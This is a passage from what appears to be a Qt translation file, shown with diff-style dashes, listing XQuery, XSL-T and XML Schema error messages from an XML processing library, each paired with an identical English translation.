- <source>It&apos;s not possible to add attributes after any other kind of node.</source>
- <translation>It&apos;s not possible to add attributes after any other kind of node.</translation>
- </message>
- <message>
- <source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
- <translation>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</translation>
- </message>
- <message>
- <source>Integer division (%1) by zero (%2) is undefined.</source>
- <translation>Integer division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message>
- <source>Division (%1) by zero (%2) is undefined.</source>
- <translation>Division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message>
- <source>Modulus division (%1) by zero (%2) is undefined.</source>
- <translation>Modulus division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message numerus="yes">
- <source>%1 takes at most %n argument(s). %2 is therefore invalid.</source>
- <translation>
- <numerusform>%1 takes at most %n argument(s). %2 is therefore invalid.</numerusform>
- <numerusform>%1 takes at most %n argument(s). %2 is therefore invalid.</numerusform>
- </translation>
- </message>
- <message numerus="yes">
- <source>%1 requires at least %n argument(s). %2 is therefore invalid.</source>
- <translation>
- <numerusform>%1 requires at least %n argument(s). %2 is therefore invalid.</numerusform>
- <numerusform>%1 requires at least %n argument(s). %2 is therefore invalid.</numerusform>
- </translation>
- </message>
- <message>
- <source>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</source>
- <translation>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</translation>
- </message>
- <message>
- <source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
- <translation>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</translation>
- </message>
- <message>
- <source>A default namespace declaration must occur before function, variable, and option declarations.</source>
- <translation>A default namespace declaration must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>Namespace declarations must occur before function, variable, and option declarations.</source>
- <translation>Namespace declarations must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>Module imports must occur before function, variable, and option declarations.</source>
- <translation>Module imports must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>%1 is not a whole number of minutes.</source>
- <translation>%1 is not a whole number of minutes.</translation>
- </message>
- <message>
- <source>Attribute %1 can&apos;t be serialized because it appears at the top level.</source>
- <translation>Attribute %1 can&apos;t be serialized because it appears at the top level.</translation>
- </message>
- <message>
- <source>%1 is an unsupported encoding.</source>
- <translation>%1 is an unsupported encoding.</translation>
- </message>
- <message>
- <source>%1 contains octets which are disallowed in the requested encoding %2.</source>
- <translation>%1 contains octets which are disallowed in the requested encoding %2.</translation>
- </message>
- <message>
- <source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
- <translation>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</translation>
- </message>
- <message>
- <source>Ambiguous rule match.</source>
- <translation>Ambiguous rule match.</translation>
- </message>
- <message>
- <source>In a namespace constructor, the value for a namespace cannot be an empty string.</source>
- <translation>In a namespace constructor, the value for a namespace cannot be an empty string.</translation>
- </message>
- <message>
- <source>The prefix must be a valid %1, which %2 is not.</source>
- <translation>The prefix must be a valid %1, which %2 is not.</translation>
- </message>
- <message>
- <source>The prefix %1 cannot be bound.</source>
- <translation>The prefix %1 cannot be bound.</translation>
- </message>
- <message>
- <source>Only the prefix %1 can be bound to %2 and vice versa.</source>
- <translation>Only the prefix %1 can be bound to %2 and vice versa.</translation>
- </message>
- <message>
- <source>The parameter %1 is required, but no corresponding %2 is supplied.</source>
- <translation>The parameter %1 is required, but no corresponding %2 is supplied.</translation>
- </message>
- <message>
- <source>The parameter %1 is passed, but no corresponding %2 exists.</source>
- <translation>The parameter %1 is passed, but no corresponding %2 exists.</translation>
- </message>
- <message>
- <source>The URI cannot have a fragment</source>
- <translation>The URI cannot have a fragment</translation>
- </message>
- <message>
- <source>Element %1 is not allowed at this location.</source>
- <translation>Element %1 is not allowed at this location.</translation>
- </message>
- <message>
- <source>Text nodes are not allowed at this location.</source>
- <translation>Text nodes are not allowed at this location.</translation>
- </message>
- <message>
- <source>Parse error: %1</source>
- <translation>Parse error: %1</translation>
- </message>
- <message>
- <source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
- <translation>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</translation>
- </message>
- <message>
- <source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
- <translation>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</translation>
- </message>
- <message>
- <source>Unknown XSL-T attribute %1.</source>
- <translation>Unknown XSL-T attribute %1.</translation>
- </message>
- <message>
- <source>Attribute %1 and %2 are mutually exclusive.</source>
- <translation>Attribute %1 and %2 are mutually exclusive.</translation>
- </message>
- <message>
- <source>In a simplified stylesheet module, attribute %1 must be present.</source>
- <translation>In a simplified stylesheet module, attribute %1 must be present.</translation>
- </message>
- <message>
- <source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
- <translation>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</translation>
- </message>
- <message>
- <source>Element %1 must have at least one of the attributes %2 or %3.</source>
- <translation>Element %1 must have at least one of the attributes %2 or %3.</translation>
- </message>
- <message>
- <source>At least one mode must be specified in the %1-attribute on element %2.</source>
- <translation>At least one mode must be specified in the %1-attribute on element %2.</translation>
- </message>
- <message>
- <source>Element %1 must come last.</source>
- <translation>Element %1 must come last.</translation>
- </message>
- <message>
- <source>At least one %1-element must occur before %2.</source>
- <translation>At least one %1-element must occur before %2.</translation>
- </message>
- <message>
- <source>Only one %1-element can appear.</source>
- <translation>Only one %1-element can appear.</translation>
- </message>
- <message>
- <source>At least one %1-element must occur inside %2.</source>
- <translation>At least one %1-element must occur inside %2.</translation>
- </message>
- <message>
- <source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
- <translation>When attribute %1 is present on %2, a sequence constructor cannot be used.</translation>
- </message>
- <message>
- <source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
- <translation>Element %1 must have either a %2-attribute or a sequence constructor.</translation>
- </message>
- <message>
- <source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
- <translation>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</translation>
- </message>
- <message>
- <source>Element %1 cannot have children.</source>
- <translation>Element %1 cannot have children.</translation>
- </message>
- <message>
- <source>Element %1 cannot have a sequence constructor.</source>
- <translation>Element %1 cannot have a sequence constructor.</translation>
- </message>
- <message>
- <source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
- <translation>The attribute %1 cannot appear on %2, when it is a child of %3.</translation>
- </message>
- <message>
- <source>A parameter in a function cannot be declared to be a tunnel.</source>
- <translation>A parameter in a function cannot be declared to be a tunnel.</translation>
- </message>
- <message>
- <source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
- <translation>This processor is not Schema-aware and therefore %1 cannot be used.</translation>
- </message>
- <message>
- <source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
- <translation>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</translation>
- </message>
- <message>
- <source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
- <translation>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</translation>
- </message>
- <message>
- <source>Attribute %1 cannot have the value %2.</source>
- <translation>Attribute %1 cannot have the value %2.</translation>
- </message>
- <message>
- <source>The attribute %1 can only appear on the first %2 element.</source>
- <translation>The attribute %1 can only appear on the first %2 element.</translation>
- </message>
- <message>
- <source>At least one %1 element must appear as child of %2.</source>
- <translation>At least one %1 element must appear as child of %2.</translation>
- </message>
- <message>
- <source>%1 has inheritance loop in its base type %2.</source>
- <translation>%1 has inheritance loop in its base type %2.</translation>
- </message>
- <message>
- <source>Circular inheritance of base type %1.</source>
- <translation>Circular inheritance of base type %1.</translation>
- </message>
- <message>
- <source>Circular inheritance of union %1.</source>
- <translation>Circular inheritance of union %1.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 cannot be complex type %2.</source>
- <translation>Base type of simple type %1 cannot be complex type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 cannot have direct base type %2.</source>
- <translation>Simple type %1 cannot have direct base type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 is not allowed to have base type %2.</source>
- <translation>Simple type %1 is not allowed to have base type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 can only have simple atomic type as base type.</source>
- <translation>Simple type %1 can only have simple atomic type as base type.</translation>
- </message>
- <message>
- <source>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</source>
- <translation>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</translation>
- </message>
- <message>
- <source>Variety of item type of %1 must be either atomic or union.</source>
- <translation>Variety of item type of %1 must be either atomic or union.</translation>
- </message>
- <message>
- <source>Variety of member types of %1 must be atomic.</source>
- <translation>Variety of member types of %1 must be atomic.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by list as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by list as the latter defines it as final.</translation>
- </message>
- <message>
- <source>Simple type %1 is only allowed to have %2 facet.</source>
- <translation>Simple type %1 is only allowed to have %2 facet.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 must have variety of type list.</source>
- <translation>Base type of simple type %1 must have variety of type list.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 has defined derivation by restriction as final.</source>
- <translation>Base type of simple type %1 has defined derivation by restriction as final.</translation>
- </message>
- <message>
- <source>Item type of base type does not match item type of %1.</source>
- <translation>Item type of base type does not match item type of %1.</translation>
- </message>
- <message>
- <source>Simple type %1 contains not allowed facet type %2.</source>
- <translation>Simple type %1 contains not allowed facet type %2.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by union as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by union as the latter defines it as final.</translation>
- </message>
- <message>
- <source>%1 is not allowed to have any facets.</source>
- <translation>%1 is not allowed to have any facets.</translation>
- </message>
- <message>
- <source>Base type %1 of simple type %2 must have variety of union.</source>
- <translation>Base type %1 of simple type %2 must have variety of union.</translation>
- </message>
- <message>
- <source>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</source>
- <translation>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</translation>
- </message>
- <message>
- <source>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</source>
- <translation>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</translation>
- </message>
- <message>
- <source>Derivation method of %1 must be extension because the base type %2 is a simple type.</source>
- <translation>Derivation method of %1 must be extension because the base type %2 is a simple type.</translation>
- </message>
- <message>
- <source>Complex type %1 has duplicated element %2 in its content model.</source>
- <translation>Complex type %1 has duplicated element %2 in its content model.</translation>
- </message>
- <message>
- <source>Complex type %1 has non-deterministic content.</source>
- <translation>Complex type %1 has non-deterministic content.</translation>
- </message>
- <message>
- <source>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</source>
- <translation>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</translation>
- </message>
- <message>
- <source>Content model of complex type %1 is not a valid extension of content model of %2.</source>
- <translation>Content model of complex type %1 is not a valid extension of content model of %2.</translation>
- </message>
- <message>
- <source>Complex type %1 must have simple content.</source>
- <translation>Complex type %1 must have simple content.</translation>
- </message>
- <message>
- <source>Complex type %1 must have the same simple type as its base class %2.</source>
- <translation>Complex type %1 must have the same simple type as its base class %2.</translation>
- </message>
- <message>
- <source>Complex type %1 cannot be derived from base type %2%3.</source>
- <translation>Complex type %1 cannot be derived from base type %2%3.</translation>
- </message>
- <message>
- <source>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</source>
- <translation>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</translation>
- </message>
- <message>
- <source>Complex type %1 with simple content cannot be derived from complex base type %2.</source>
- <translation>Complex type %1 with simple content cannot be derived from complex base type %2.</translation>
- </message>
- <message>
- <source>Item type of simple type %1 cannot be a complex type.</source>
- <translation>Item type of simple type %1 cannot be a complex type.</translation>
- </message>
- <message>
- <source>Member type of simple type %1 cannot be a complex type.</source>
- <translation>Member type of simple type %1 cannot be a complex type.</translation>
- </message>
- <message>
- <source>%1 is not allowed to have a member type with the same name as itself.</source>
- <translation>%1 is not allowed to have a member type with the same name as itself.</translation>
- </message>
- <message>
- <source>%1 facet collides with %2 facet.</source>
- <translation>%1 facet collides with %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must have the same value as %2 facet of base type.</source>
- <translation>%1 facet must have the same value as %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be equal or greater than %2 facet of base type.</source>
- <translation>%1 facet must be equal or greater than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be less than or equal to %2 facet of base type.</source>
- <translation>%1 facet must be less than or equal to %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet contains invalid regular expression</source>
- <translation>%1 facet contains invalid regular expression</translation>
- </message>
- <message>
- <source>Unknown notation %1 used in %2 facet.</source>
- <translation>Unknown notation %1 used in %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet contains invalid value %2: %3.</source>
- <translation>%1 facet contains invalid value %2: %3.</translation>
- </message>
- <message>
- <source>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</source>
- <translation>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</translation>
- </message>
- <message>
- <source>%1 facet cannot be %2 if %3 facet of base type is %4.</source>
- <translation>%1 facet cannot be %2 if %3 facet of base type is %4.</translation>
- </message>
- <message>
- <source>%1 facet must be less than or equal to %2 facet.</source>
- <translation>%1 facet must be less than or equal to %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must be less than %2 facet of base type.</source>
- <translation>%1 facet must be less than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet and %2 facet cannot appear together.</source>
- <translation>%1 facet and %2 facet cannot appear together.</translation>
- </message>
- <message>
- <source>%1 facet must be greater than %2 facet of base type.</source>
- <translation>%1 facet must be greater than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be less than %2 facet.</source>
- <translation>%1 facet must be less than %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must be greater than or equal to %2 facet of base type.</source>
- <translation>%1 facet must be greater than or equal to %2 facet of base type.</translation>
- </message>
- <message>
- <source>Simple type contains not allowed facet %1.</source>
- <translation>Simple type contains not allowed facet %1.</translation>
- </message>
- <message>
- <source>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</source>
- <translation>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</translation>
- </message>
- <message>
- <source>Only %1 and %2 facets are allowed when derived by union.</source>
- <translation>Only %1 and %2 facets are allowed when derived by union.</translation>
- </message>
- <message>
- <source>%1 contains %2 facet with invalid data: %3.</source>
- <translation>%1 contains %2 facet with invalid data: %3.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains attribute %2 twice.</source>
- <translation>Attribute group %1 contains attribute %2 twice.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains two different attributes that both have types derived from %2.</source>
- <translation>Attribute group %1 contains two different attributes that both have types derived from %2.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</translation>
- </message>
- <message>
- <source>Complex type %1 contains attribute %2 twice.</source>
- <translation>Complex type %1 contains attribute %2 twice.</translation>
- </message>
- <message>
- <source>Complex type %1 contains two different attributes that both have types derived from %2.</source>
- <translation>Complex type %1 contains two different attributes that both have types derived from %2.</translation>
- </message>
- <message>
- <source>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have a value constraint if its base type is complex.</source>
- <translation>Element %1 is not allowed to have a value constraint if its base type is complex.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have a value constraint if its type is derived from %2.</source>
- <translation>Element %1 is not allowed to have a value constraint if its type is derived from %2.</translation>
- </message>
- <message>
- <source>Value constraint of element %1 is not of elements type: %2.</source>
- <translation>Value constraint of element %1 is not of elements type: %2.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have substitution group affiliation as it is no global element.</source>
- <translation>Element %1 is not allowed to have substitution group affiliation as it is no global element.</translation>
- </message>
- <message>
- <source>Type of element %1 cannot be derived from type of substitution group affiliation.</source>
- <translation>Type of element %1 cannot be derived from type of substitution group affiliation.</translation>
- </message>
- <message>
- <source>Value constraint of attribute %1 is not of attributes type: %2.</source>
- <translation>Value constraint of attribute %1 is not of attributes type: %2.</translation>
- </message>
- <message>
- <source>Attribute %1 has value constraint but has type derived from %2.</source>
- <translation>Attribute %1 has value constraint but has type derived from %2.</translation>
- </message>
- <message>
- <source>%1 attribute in derived complex type must be %2 like in base type.</source>
- <translation>%1 attribute in derived complex type must be %2 like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have %2 value constraint like in base type.</source>
- <translation>Attribute %1 in derived complex type must have %2 value constraint like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</source>
- <translation>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have %2 value constraint.</source>
- <translation>Attribute %1 in derived complex type must have %2 value constraint.</translation>
- </message>
- <message>
- <source>processContent of base wildcard must be weaker than derived wildcard.</source>
- <translation>processContent of base wildcard must be weaker than derived wildcard.</translation>
- </message>
- <message>
- <source>Element %1 exists twice with different types.</source>
- <translation>Element %1 exists twice with different types.</translation>
- </message>
- <message>
- <source>Particle contains non-deterministic wildcards.</source>
- <translation>Particle contains non-deterministic wildcards.</translation>
- </message>
- <message>
- <source>Base attribute %1 is required but derived attribute is not.</source>
- <translation>Base attribute %1 is required but derived attribute is not.</translation>
- </message>
- <message>
- <source>Type of derived attribute %1 cannot be validly derived from type of base attribute.</source>
- <translation>Type of derived attribute %1 cannot be validly derived from type of base attribute.</translation>
- </message>
- <message>
- <source>Value constraint of derived attribute %1 does not match value constraint of base attribute.</source>
- <translation>Value constraint of derived attribute %1 does not match value constraint of base attribute.</translation>
- </message>
- <message>
- <source>Derived attribute %1 does not exist in the base definition.</source>
- <translation>Derived attribute %1 does not exist in the base definition.</translation>
- </message>
- <message>
- <source>Derived attribute %1 does not match the wildcard in the base definition.</source>
- <translation>Derived attribute %1 does not match the wildcard in the base definition.</translation>
- </message>
- <message>
- <source>Base attribute %1 is required but missing in derived definition.</source>
- <translation>Base attribute %1 is required but missing in derived definition.</translation>
- </message>
- <message>
- <source>Derived definition contains an %1 element that does not exists in the base definition</source>
- <translation>Derived definition contains an %1 element that does not exists in the base definition</translation>
- </message>
- <message>
- <source>Derived wildcard is not a subset of the base wildcard.</source>
- <translation>Derived wildcard is not a subset of the base wildcard.</translation>
- </message>
- <message>
- <source>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</source>
- <translation>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</translation>
- </message>
- <message>
- <source>Attribute %1 from base type is missing in derived type.</source>
- <translation>Attribute %1 from base type is missing in derived type.</translation>
- </message>
- <message>
- <source>Type of derived attribute %1 differs from type of base attribute.</source>
- <translation>Type of derived attribute %1 differs from type of base attribute.</translation>
- </message>
- <message>
- <source>Base definition contains an %1 element that is missing in the derived definition</source>
- <translation>Base definition contains an %1 element that is missing in the derived definition</translation>
- </message>
- <message>
- <source>%1 references unknown %2 or %3 element %4.</source>
- <translation>%1 references unknown %2 or %3 element %4.</translation>
- </message>
- <message>
- <source>%1 references identity constraint %2 that is no %3 or %4 element.</source>
- <translation>%1 references identity constraint %2 that is no %3 or %4 element.</translation>
- </message>
- <message>
- <source>%1 has a different number of fields from the identity constraint %2 that it references.</source>
- <translation>%1 has a different number of fields from the identity constraint %2 that it references.</translation>
- </message>
- <message>
- <source>Base type %1 of %2 element cannot be resolved.</source>
- <translation>Base type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Item type %1 of %2 element cannot be resolved.</source>
- <translation>Item type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Member type %1 of %2 element cannot be resolved.</source>
- <translation>Member type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Type %1 of %2 element cannot be resolved.</source>
- <translation>Type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Base type %1 of complex type cannot be resolved.</source>
- <translation>Base type %1 of complex type cannot be resolved.</translation>
- </message>
- <message>
- <source>%1 cannot have complex base type that has a %2.</source>
- <translation>%1 cannot have complex base type that has a %2.</translation>
- </message>
- <message>
- <source>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</source>
- <translation>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</translation>
- </message>
- <message>
- <source>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</source>
- <translation>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</translation>
- </message>
- <message>
- <source>Type of %1 element must be a simple type, %2 is not.</source>
- <translation>Type of %1 element must be a simple type, %2 is not.</translation>
- </message>
- <message>
- <source>Substitution group %1 of %2 element cannot be resolved.</source>
- <translation>Substitution group %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Substitution group %1 has circular definition.</source>
- <translation>Substitution group %1 has circular definition.</translation>
- </message>
- <message>
- <source>Duplicated element names %1 in %2 element.</source>
- <translation>Duplicated element names %1 in %2 element.</translation>
- </message>
- <message>
- <source>Reference %1 of %2 element cannot be resolved.</source>
- <translation>Reference %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Circular group reference for %1.</source>
- <translation>Circular group reference for %1.</translation>
- </message>
- <message>
- <source>%1 element is not allowed in this scope</source>
- <translation>%1 element is not allowed in this scope</translation>
- </message>
- <message>
- <source>%1 element cannot have %2 attribute with value other than %3.</source>
- <translation>%1 element cannot have %2 attribute with value other than %3.</translation>
- </message>
- <message>
- <source>%1 element cannot have %2 attribute with value other than %3 or %4.</source>
- <translation>%1 element cannot have %2 attribute with value other than %3 or %4.</translation>
- </message>
- <message>
- <source>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</source>
- <translation>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</translation>
- </message>
- <message>
- <source>Attribute group %1 has circular reference.</source>
- <translation>Attribute group %1 has circular reference.</translation>
- </message>
- <message>
- <source>%1 attribute in %2 must have %3 use like in base type %4.</source>
- <translation>%1 attribute in %2 must have %3 use like in base type %4.</translation>
- </message>
- <message>
- <source>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</source>
- <translation>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</translation>
- </message>
- <message>
- <source>%1 has attribute wildcard but its base type %2 has not.</source>
- <translation>%1 has attribute wildcard but its base type %2 has not.</translation>
- </message>
- <message>
- <source>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</source>
- <translation>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</translation>
- </message>
- <message>
- <source>Enumeration facet contains invalid content: {%1} is not a value of type %2.</source>
- <translation>Enumeration facet contains invalid content: {%1} is not a value of type %2.</translation>
- </message>
- <message>
- <source>Namespace prefix of qualified name %1 is not defined.</source>
- <translation>Namespace prefix of qualified name %1 is not defined.</translation>
- </message>
- <message>
- <source>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</source>
- <translation>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</translation>
- </message>
- <message>
- <source>Empty particle cannot be derived from non-empty particle.</source>
- <translation>Empty particle cannot be derived from non-empty particle.</translation>
- </message>
- <message>
- <source>Derived particle is missing element %1.</source>
- <translation>Derived particle is missing element %1.</translation>
- </message>
- <message>
- <source>Derived element %1 is missing value constraint as defined in base particle.</source>
- <translation>Derived element %1 is missing value constraint as defined in base particle.</translation>
- </message>
- <message>
- <source>Derived element %1 has weaker value constraint than base particle.</source>
- <translation>Derived element %1 has weaker value constraint than base particle.</translation>
- </message>
- <message>
- <source>Fixed value constraint of element %1 differs from value constraint in base particle.</source>
- <translation>Fixed value constraint of element %1 differs from value constraint in base particle.</translation>
- </message>
- <message>
- <source>Derived element %1 cannot be nillable as base element is not nillable.</source>
- <translation>Derived element %1 cannot be nillable as base element is not nillable.</translation>
- </message>
- <message>
- <source>Block constraints of derived element %1 must not be more weaker than in the base element.</source>
- <translation>Block constraints of derived element %1 must not be more weaker than in the base element.</translation>
- </message>
- <message>
- <source>Simple type of derived element %1 cannot be validly derived from base element.</source>
- <translation>Simple type of derived element %1 cannot be validly derived from base element.</translation>
- </message>
- <message>
- <source>Complex type of derived element %1 cannot be validly derived from base element.</source>
- <translation>Complex type of derived element %1 cannot be validly derived from base element.</translation>
- </message>
- <message>
- <source>Element %1 is missing in derived particle.</source>
- <translation>Element %1 is missing in derived particle.</translation>
- </message>
- <message>
- <source>Element %1 does not match namespace constraint of wildcard in base particle.</source>
- <translation>Element %1 does not match namespace constraint of wildcard in base particle.</translation>
- </message>
- <message>
- <source>Wildcard in derived particle is not a valid subset of wildcard in base particle.</source>
- <translation>Wildcard in derived particle is not a valid subset of wildcard in base particle.</translation>
- </message>
- <message>
- <source>processContent of wildcard in derived particle is weaker than wildcard in base particle.</source>
- <translation>processContent of wildcard in derived particle is weaker than wildcard in base particle.</translation>
- </message>
- <message>
- <source>Derived particle allows content that is not allowed in the base particle.</source>
- <translation>Derived particle allows content that is not allowed in the base particle.</translation>
- </message>
- <message>
- <source>Can not process unknown element %1, expected elements are: %2.</source>
- <translation>Can not process unknown element %1, expected elements are: %2.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed in this scope, possible elements are: %2.</source>
- <translation>Element %1 is not allowed in this scope, possible elements are: %2.</translation>
- </message>
- <message>
- <source>Child element is missing in that scope, possible child elements are: %1.</source>
- <translation>Child element is missing in that scope, possible child elements are: %1.</translation>
- </message>
- <message>
- <source>Document is not a XML schema.</source>
- <translation>Document is not a XML schema.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</source>
- <translation>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element contains invalid content: {%3}.</source>
- <translation>%1 attribute of %2 element contains invalid content: {%3}.</translation>
- </message>
- <message>
- <source>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</source>
- <translation>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</translation>
- </message>
- <message>
- <source>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</source>
- <translation>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</translation>
- </message>
- <message>
- <source>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</source>
- <translation>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</translation>
- </message>
- <message>
- <source>%1 element without %2 attribute is not allowed inside schema without target namespace.</source>
- <translation>%1 element without %2 attribute is not allowed inside schema without target namespace.</translation>
- </message>
- <message>
- <source>%1 element is not allowed inside %2 element if %3 attribute is present.</source>
- <translation>%1 element is not allowed inside %2 element if %3 attribute is present.</translation>
- </message>
- <message>
- <source>%1 element has neither %2 attribute nor %3 child element.</source>
- <translation>%1 element has neither %2 attribute nor %3 child element.</translation>
- </message>
- <message>
- <source>%1 element with %2 child element must not have a %3 attribute.</source>
- <translation>%1 element with %2 child element must not have a %3 attribute.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must be %3 or %4.</source>
- <translation>%1 attribute of %2 element must be %3 or %4.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have a value of %3.</source>
- <translation>%1 attribute of %2 element must have a value of %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have a value of %3 or %4.</source>
- <translation>%1 attribute of %2 element must have a value of %3 or %4.</translation>
- </message>
- <message>
- <source>%1 element must not have %2 and %3 attribute together.</source>
- <translation>%1 element must not have %2 and %3 attribute together.</translation>
- </message>
- <message>
- <source>Content of %1 attribute of %2 element must not be from namespace %3.</source>
- <translation>Content of %1 attribute of %2 element must not be from namespace %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must not be %3.</source>
- <translation>%1 attribute of %2 element must not be %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</source>
- <translation>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</translation>
- </message>
- <message>
- <source>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</source>
- <translation>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</translation>
- </message>
- <message>
- <source>%1 element must have either %2 or %3 attribute.</source>
- <translation>%1 element must have either %2 or %3 attribute.</translation>
- </message>
- <message>
- <source>%1 element must have either %2 attribute or %3 or %4 as child element.</source>
- <translation>%1 element must have either %2 attribute or %3 or %4 as child element.</translation>
- </message>
- <message>
- <source>%1 element requires either %2 or %3 attribute.</source>
- <translation>%1 element requires either %2 or %3 attribute.</translation>
- </message>
- <message>
- <source>Text or entity references not allowed inside %1 element</source>
- <translation>Text or entity references not allowed inside %1 element</translation>
- </message>
- <message>
